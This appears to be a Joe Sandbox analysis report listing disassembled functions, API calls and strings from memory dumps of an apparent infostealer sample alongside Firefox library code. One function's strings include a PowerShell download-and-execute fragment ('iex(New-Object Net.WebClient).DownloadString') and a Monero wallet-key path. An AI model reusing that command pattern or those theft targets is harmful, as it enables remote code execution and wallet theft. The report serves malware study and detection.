Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: 7S+Y/$pid:
API String ID: 1720406129-422856677
Opcode ID: ae11af726d9b26cd7ed28ef349308a74fcdda0a1cc1f8bd081755720ac8b951a
Instruction ID: 0654ee9ba27835cf4e6e3965f8ed1e55a806671429411f697aabd915971b91ac
Opcode Fuzzy Hash: ae11af726d9b26cd7ed28ef349308a74fcdda0a1cc1f8bd081755720ac8b951a
Instruction Fuzzy Hash: EA312131B01219CFDB10DFE9D890AEEB7B5FF09308F540529D81667A41E732AA49CBA1

Function 00AD2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

ShellExecuteEx.SHELL32(0000003C), ref: 00AD2D85

Strings

')", xrefs: 00AD2CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00AD2CC4
<, xrefs: 00AD2D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00AD2D04

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: f490a31e18d7641cf6b5c0517754ec17b8b1817aefbd6139bdce98fa032d132e
Instruction ID: ee99d2c67dc4f21dff26687d889b028133fc7bc2f5dd09a5fcd917bf3556d2ff
Opcode Fuzzy Hash: f490a31e18d7641cf6b5c0517754ec17b8b1817aefbd6139bdce98fa032d132e
Instruction Fuzzy Hash: 6241DB71D102489ADB14FBA0C996FEDBB74BF20300F40452AE407A7291EF746A8ADF95

Function 6CBF6470 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CBF82BC,?,?), ref: 6CBF649B

Part of subcall function 6CBCCA10: malloc.MOZGLUE(?), ref: 6CBCCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBF64A9

Part of subcall function 6CBEFA80: GetCurrentThreadId.KERNEL32 ref: 6CBEFA8D
Part of subcall function 6CBEFA80: AcquireSRWLockExclusive.KERNEL32(6CC3F448), ref: 6CBEFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBF653F
free.MOZGLUE(?), ref: 6CBF655A

Strings

7S+Y/, xrefs: 6CBF6482

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID: 7S+Y/
API String ID: 3596744550-4163584386
Opcode ID: cc5e3d286c205421b1971fbe4d28d830267821cb7306fccf1312f7b02c11e4fd
Instruction ID: 4619693121a3cfed3d63bcd6003c034797452688de668a90085bcb6a136b5960
Opcode Fuzzy Hash: cc5e3d286c205421b1971fbe4d28d830267821cb7306fccf1312f7b02c11e4fd
Instruction Fuzzy Hash: E9317EB5A043559FD700DF14D884A9EBBF4FF98314F00842EE85A97741EB30E909CB92

Function 6CC174A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CC17526
__Init_thread_footer.LIBCMT ref: 6CC17566
__Init_thread_footer.LIBCMT ref: 6CC17597

Strings

kernel32.dll, xrefs: 6CC17557
UnmapViewOfFile2, xrefs: 6CC17552

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: b78b98813f8a8cc0801f6eee0fd284ce72b2d7535ae5104259efe5f58a8b9143
Instruction ID: 48d082e5f2371b054ad2ffa36110f1e236fbd1fb80e4b71c3954dfb168e5ac23
Opcode Fuzzy Hash: b78b98813f8a8cc0801f6eee0fd284ce72b2d7535ae5104259efe5f58a8b9143
Instruction Fuzzy Hash: 50213731708511AFCB24AFEBE818E893775EB4B769B004969D40D47F40EB30E802AB95

Function 6CC1C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC1C0E9), ref: 6CC1C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CC1C437
FreeLibrary.KERNEL32(?,6CC1C0E9), ref: 6CC1C44C

Strings

ntdll.dll, xrefs: 6CC1C413
NtQueryVirtualMemory, xrefs: 6CC1C431

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: bca48e85291b62e24889806caa10c229aa9e18d5eabb02d63d4a566c23f6bc68
Instruction ID: 1f7915ca2304b82ec07479f877069b66df9b839bd7b82d0e6ac27d52aff578ec
Opcode Fuzzy Hash: bca48e85291b62e24889806caa10c229aa9e18d5eabb02d63d4a566c23f6bc68
Instruction Fuzzy Hash: 57E0B670609715DFDF24BF7AE918B117FF8A707204F004A66AE0D91A90EBB5D4089B56

Function 6CC175B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC1748B,?), ref: 6CC175B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CC175D7
FreeLibrary.KERNEL32(?,6CC1748B,?), ref: 6CC175EC

Strings

ntdll.dll, xrefs: 6CC175B3
RtlNtStatusToDosError, xrefs: 6CC175D1

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: b617d16828d8c983f11282eb4d3807619a9d15af1945677d18467dba71cb8b09
Instruction ID: 698507a7b0a221024b608a50fc6da4d1291301098d096aa8df8fa8d93a45bbed
Opcode Fuzzy Hash: b617d16828d8c983f11282eb4d3807619a9d15af1945677d18467dba71cb8b09
Instruction Fuzzy Hash: BFE0BF71704711AFDF205FA6F95C7017EF8EB47214F1058A6A90DD1A80EBF58481DF50

Function 00AC9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00AC9F41

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Strings

v20, xrefs: 00AC9E21
ERROR_RUN_EXTRACTOR, xrefs: 00AC9E67
v10, xrefs: 00AC9EA3
@, xrefs: 00AC9EF1

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 2dbb488e26170dd763ee4220caf32bd414eebfbe70ec8255c7d07dee496f3df3
Instruction ID: f9718f3d35e50d2a874b4168adc6db60ecbf199c04fa2b26c26212932e07b4f0
Opcode Fuzzy Hash: 2dbb488e26170dd763ee4220caf32bd414eebfbe70ec8255c7d07dee496f3df3
Instruction Fuzzy Hash: 62613E71A1024CABDB24EFA4CD96FEE7775AF54344F008518F90A9B291EB706A05CB52

Function 6CBBCDF0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBBCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CBBCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CBBCF4E

Strings

7S+Y/, xrefs: 6CBBCE02
0, xrefs: 6CBBCF30

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0$7S+Y/
API String ID: 438689982-2537261971
Opcode ID: c0d93df7e3645113b346ee79378606ea93ee2eae6a3a9518672620fdb7802a71
Instruction ID: cddc53ded9d6a7256694170b26463981a9922b207a1c1791bd864ec9abc66cc7
Opcode Fuzzy Hash: c0d93df7e3645113b346ee79378606ea93ee2eae6a3a9518672620fdb7802a71
Instruction Fuzzy Hash: 8F51FF75A00256CFCB00CF18C890AAABBA5EF99300F198599E8595F352E775FD06CBE0

Function 6CBC1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CBC152B,?,?,?,?,6CBC1248,?), ref: 6CBC159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CBC152B,?,?,?,?,6CBC1248,?), ref: 6CBC15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CBC152B,?,?,?,?,6CBC1248,?), ref: 6CBC15E7
free.MOZGLUE(?,?,?,?,?,?,6CBC152B,?,?,?,?,6CBC1248,?), ref: 6CBC1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CBC152B,?,?,?,?,6CBC1248,?), ref: 6CBC1637

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: d11dbf2f346cf1a8aedd88a26655a275d0f9cef2ef0721155199db47c8e88e9d
Instruction ID: a1ca56d5fd4f11ef6ee74a3046a847c43253a1210cc05ee27845dda17f53a1d6
Opcode Fuzzy Hash: d11dbf2f346cf1a8aedd88a26655a275d0f9cef2ef0721155199db47c8e88e9d
Instruction Fuzzy Hash: FB31D472B001548BCB189E78D85046E77A9FB853647290B2DE823EBBD4EB30D9158793

Function 6CBBB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CBBB532
moz_xmalloc.MOZGLUE(?), ref: 6CBBB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBBB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CBBB57E
free.MOZGLUE(00000000), ref: 6CBBB58F

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 99c7d4a8fe4eb2bc25295c08b99edd81e92538a62b7b3478017b95c2b23e506e
Instruction ID: a766b9806343d2e7677825d5107085ebca754d12361c2e5cbeaf06cf966cd260
Opcode Fuzzy Hash: 99c7d4a8fe4eb2bc25295c08b99edd81e92538a62b7b3478017b95c2b23e506e
Instruction Fuzzy Hash: F6210A716002459BDB009F68CD91B7EBBB9FF41304F244129E918DB341EB35DD11C7A2

Function 00AD6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00AD696C
sscanf.NTDLL ref: 00AD6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00AD69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00AD69C0
ExitProcess.KERNEL32 ref: 00AD69DA

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 2c519564798fd0c12be0dddf9efa61441bc08c6e859de951cd9bad5724042f28
Instruction ID: 3ee581d04c5a2a1efd776131c1faccee2b62703c8bad63d0c3765ba454f57e1d
Opcode Fuzzy Hash: 2c519564798fd0c12be0dddf9efa61441bc08c6e859de951cd9bad5724042f28
Instruction Fuzzy Hash: B421AB75D14219ABCF04EFE8D955AEEB7B9BF48300F04852AE50AE3350EB345605CBA9

Function 00AD9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0178DAA8,?,?,?,00AD140C,?,0178DAA8,00000000), ref: 00AD926C
lstrcpyn.KERNEL32(00D0AB88,0178DAA8,0178DAA8,?,00AD140C,?,0178DAA8), ref: 00AD9290
lstrlen.KERNEL32(?,?,00AD140C,?,0178DAA8), ref: 00AD92A7
wsprintfA.USER32 ref: 00AD92C7

Strings

%s%s, xrefs: 00AD92B5

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
